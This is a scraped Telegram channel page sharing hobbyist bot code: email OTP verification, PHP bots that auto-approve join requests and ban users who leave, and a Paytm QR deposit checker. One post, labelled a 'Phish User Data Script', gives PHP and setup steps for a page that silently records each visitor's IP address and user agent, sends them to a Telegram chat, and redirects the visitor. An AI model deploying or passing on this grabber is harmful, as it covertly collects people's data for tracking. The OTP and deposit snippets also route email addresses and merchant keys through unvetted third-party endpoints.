Advanced Coding
25.6K subscribers
74 photos
11 videos
18 files
66 links
Owner :- @MiddleDealer
Download Telegram
Command : /onMail#Verify

Wait For Answer On

Bjs :- let msg = message
var verified = User.getProperty("verified")
if(verified==undefined||verified=="No"){
var ans = User.getProperty("captcha")
if(msg==ans){
Bot.sendMessage(" You Are Verified",{is_reply:true})
//Bot.runCommand("")
User.setProperty("verified","Yes","text")
}else{
Bot.sendMessage(" Wrong, Try Again",{is_reply:true})
Bot.runCommand("/start")
User.setProperty("verified","No","text")
}
return }
Bot.sendMessage(" You Are Already Verified",{is_reply:true})
👍4
Command : /verifyMe

Wait For Answer On

Bjs :- var verified = User.getProperty("verified")
if(verified==undefined||verified=="No"){
let msg = message
function validateEmail(email) {

var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;

return re.test(String(email).toLowerCase());

}

if(validateEmail(msg)){
var cap = Libs.Random.randomInt(100000,999999);
User.setProperty("captcha",cap,"text")
var sub = "Verify Your Account"
var otp = "Your OTP : "+cap+""
var url=encodeURI("https://gmail.apinepdev.workers.dev/?recipient="+msg+"&subject="+sub+"&message="+otp+"")
HTTP.get({
url:url,
success:"/onMail#NowVerify"
})
}else{
Bot.sendMessage("Wrong Email",{is_reply:true})
}
return }
Bot.sendMessage(" You Are Already Verified",{is_reply:true})


© Created By : @RushikeshLade1
™️ Api By : NEP CODER
📢 Published At :
@kids_coder

⚠️ While Sharing Must Give Credit
👍72
Tutorial : https://youtu.be/FPSIKwuJ6W0

(Mail Verification Codes Setup)
👍6🤔41
👍21
1👍1
freeviews.php
4.4 KB
Free Views Giveaway Script
👍152
📝Phish User Data Script :

1. Install any Code Editor!
2. Create File index.php!
3. Add Bellow Codes!
4. Check script and edit!
5. Save and import in hosting!


DONE

🌟Script: <?php
// Get user information
$user_ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$ip_information = "https://ipinfo.io/{$user_ip}/json";

// Prepare the data to send to Telegram
$message = "User IP: $user_ip\nUser Agent: $user_agent\n\nIP Information: " . $ip_information;

// Send data to Telegram bot
$bot_token = 'bot_token';
$chat_id = '@taIkgroup';
$telegram_url = "https://api.telegram.org/bot$bot_token/sendMessage?chat_id=$chat_id&text=" . urlencode($message);
file_get_contents($telegram_url);

// Redirect the user to another URL
$redirect_url = 'https://t.me/taIkgroup'; // Replace with the URL you want to redirect to
header("Location: $redirect_url");
?>


⚠️Working on all Free Hosting and 000webhost also!

📚Code Published By:
@Kids_Coder & @taIkgroup
👍9👏21
🔰PHP Auto Approve Bot codes!


<?php

//edit this three things

$token = 'your-bot-token';
$botUsername = 'your-bot-username';
$webhookUrl = 'https://your-domain-here.com/autoapprovebot.php';

//no need to edit bellow

$apiUrl = "https://api.telegram.org/bot$token/";
$allowedUpdates = ['message', 'chat_member', 'chat_join_request'];
$method = "setWebhook?url=$webhookUrl&allowed_updates=" . json_encode($allowedUpdates);

file_get_contents($apiUrl . $method);

$data = json_decode(file_get_contents('php://input'), true);

if (isset($data['message']['text']) && $data['message']['text'] == '/start') {
$userId = $data['message']['chat']['id'];
$userFirstName = $data['message']['chat']['first_name'];

$message = "Hello! *$userFirstName* welcome to Auto Approve Bot! I can manage your channel join request easily, just add me to your channel or group and make me admin!";
$keyboard = [
'inline_keyboard' => [
[
['text' => 'Add Bot to Channel', 'url' => "https://t.me/$botUsername?startgroup"]
]
]
];
$encodedKeyboard = json_encode($keyboard);

$apiUrl = "https://api.telegram.org/bot$token/";
$method = "sendMessage?chat_id=$userId&text=$message&parse_mode=Markdown&reply_markup=$encodedKeyboard";

file_get_contents($apiUrl . $method);
} elseif (isset($data['chat_join_request'])) {
$chatId = $data['chat_join_request']['chat']['id'];
$userId = $data['chat_join_request']['from']['id'];
$userFirstName = $data['chat_join_request']['from']['first_name'];
$channelTitle = $data['chat_join_request']['chat']['title'];
$apiUrl = "https://api.telegram.org/bot$token/";
$method = "approveChatJoinRequest?chat_id=$chatId&user_id=$userId";

file_get_contents($apiUrl . $method);
$message = "Hello! *$userFirstName* your join request for *$channelTitle* has been accepted!";
$apiUrl = "https://api.telegram.org/bot$token/";
$method = "sendMessage?chat_id=$userId&text=$message&parse_mode=Markdown";

file_get_contents($apiUrl . $method);
}
?>

🔐 How to setup this Bot?

1. create new
autoapprovebot.php file in your 000webhost website filemanger!
2. Now paste codes and edit the three thing which at top of codes!
3. Run that file once to activate with telegram bot!


Above is short tutorial on using above php in 000webhost! *3rd step is important



🌟Credit: No Need to Give
📚Publish By:
@Kids_Coder
👍133
How to create Smm Panel Bot on Telegram | Telegram Par Smm Panel Bot Kaise Banaye?

🎥 Tutorial
:- https://youtu.be/DrEe2srt3tc?si=v7038v0N-71WPFem

💽 Get Codes :- https://t.me/+TnS4dc0gP-9lZTg1
👍10
🔰PHP Auto Kicker Bot codes!


<?php

//edit bellow three things

$botToken = 'bot-token-here';
$botusername = 'bot-username-without-@';
$webhookUrl = 'webhook-url';

//no need to edit bellow

$update = file_get_contents('php://input');
$updateData = json_decode($update, true);

if (isset($updateData['message'])) {
$chatId = $updateData['message']['chat']['id'];
$userId = $updateData['message']['from']['id'];
$messageText = $updateData['message']['text'];

if ($messageText === '/start') {
$keyboard = [
'inline_keyboard' => [
[
['text' => 'Add to Channel', 'url' => 'https://t.me/'.$botusername.'?startgroup=invite_to_channel']
]
]
];

$keyboard = json_encode($keyboard);

$welcomeMessage = "Hello! *UserFirstName*, welcome to Auto Kicker Bot. I can ban users who leave your channel. Just add me to your channel and make me an admin with ban user rights!";
$welcomeMessage = str_replace('*UserFirstName*', $updateData['message']['from']['first_name'], $welcomeMessage);

$apiRequest = [
'chat_id' => $chatId,
'text' => $welcomeMessage,
'parse_mode' => 'Markdown',
'reply_markup' => $keyboard
];

file_get_contents('https://api.telegram.org/bot' . $botToken . '/sendMessage?' . http_build_query($apiRequest));
}
}

if (isset($updateData['chat_member']) && $updateData['chat_member']['new_chat_member']['status'] === 'left') {
$chatId = $updateData['chat_member']['chat']['id'];
$userId = $updateData['chat_member']['from']['id'];
$apiRequest = [
'chat_id' => $chatId,
'user_id' => $userId
];

file_get_contents('https://api.telegram.org/bot' . $botToken . '/banChatMember?' . http_build_query($apiRequest));
}

$setWebhookRequest = [
'url' => $webhookUrl,
'allowed_updates' => json_encode(['message', 'chat_member', 'left_chat_member'])
];

file_get_contents('https://api.telegram.org/bot' . $botToken . '/setWebhook?' . http_build_query($setWebhookRequest));
?>

🔐 How to setup this Bot?

1. create new
autokickerbot.php file in your 000webhost website filemanger!
2. Now paste codes and edit the three thing which at top of codes!
3. Run that file once to activate with telegram bot!


Above is short tutorial on using above php in 000webhost! *3rd step is important
 


🌟Credit: No Need to Give
📚Publish By:
@Kids_Coder
👍14🤮531😱1
How to create auto kicker bot on telegram easy tutorial.

🎥 Tutorial :- https://youtu.be/GtRTPS--eDw

💽 Get Code :- https://t.me/kids_coder/52
👍10👎7💩6
autoapprovebot.txt
1.4 KB
📁 File Used In Video Is Given Above 👆

🎥 Youtube Tutorial Link :-
https://youtu.be/xbYxyyvURKw

🚀 Published By :- @kids_coder
🛠 Created By :- @coderajinkya
4👍3🥰3
Old Channel All Codes Are Safe Now I Will Send That Soon👍

Unmute & Pin To Top 📌
4👍2
Automatic Payment Accept Code In Paytm (Merchant QR) 👇
👍9
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}
var qr_link = "link"
//Upload QR Image In Channel And Enter Link Here
var but = [
[{text:" INR Sended",callback_data:"/onDepInr"}]
]
Api.sendPhoto({
photo:qr_link,
caption:"🔎 Scan This QR And Send INR ( Rs ) Then Click On\n~ INR Sended",
reply_markup:{ inline_keyboard:but}
})


Provider :- @kids_coder
👍74
Command : /onDepInr
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}
Bot.sendMessage("⬇️ Send OrderId ( Transcation Id )")
Bot.runCommand("/onChkInrDep")


Provider :- @kids_coder
👍4
Command : /onChkInrDep
👍1
Wait For Answer On
👍6
if(chat.chat_type!="private"){
Bot.sendMessage("_Open me in private_");
return
}
if (request.data) {
var message_id = request.message.message_id
var chat_id = request.message.chat.id

Api.deleteMessage({
chat_id: chat_id,
message_id: message_id
})
}

var id = message

var qrtrs = Bot.getProperty("qrTrans")
var qrt = qrtrs?qrtrs:[]
if(!qrt.includes(id)){
var mid = "merchant key here"
function canRun(){
var last_run_at = User.getProperty("last_run_at_dep");
if(!last_run_at){ return true }

var minutes = (Date.now() - last_run_at) /1000/60;

var minutes_in_day = 1* 1
var next = minutes_in_day - minutes
var wait_hours = Math.floor(next / 60)
next -= wait_hours * 60
var wait_minutes = Math.floor(next)
var seconds = Math.floor((next - wait_minutes) * 60)
if (minutes < minutes_in_day) {
Bot.sendMessage("* This Command Will Run After\n"
+ seconds+ " s*",{is_reply:true});
return
}
return true;
}

if(!canRun()){ return }
User.setProperty("last_run_at_dep", Date.now(), "integer");

Bot.sendMessage("⬇️ Checking Your Deposit Request...",{is_reply:true})
HTTP.get({
url:"https://api.projectoid.site/v1/telegram/paytm/index.php?MERCHANT_KEY="+mid+"&TRANSACTION="+id+"",
success:"/onDepInrDo"
})
}else{
Bot.sendMessage(" One Id Can Be Used One Time Only...",{is_reply:true})
}


Provider :- @kids_coder
👍4😁1
Command : /onDepInrDo
👍1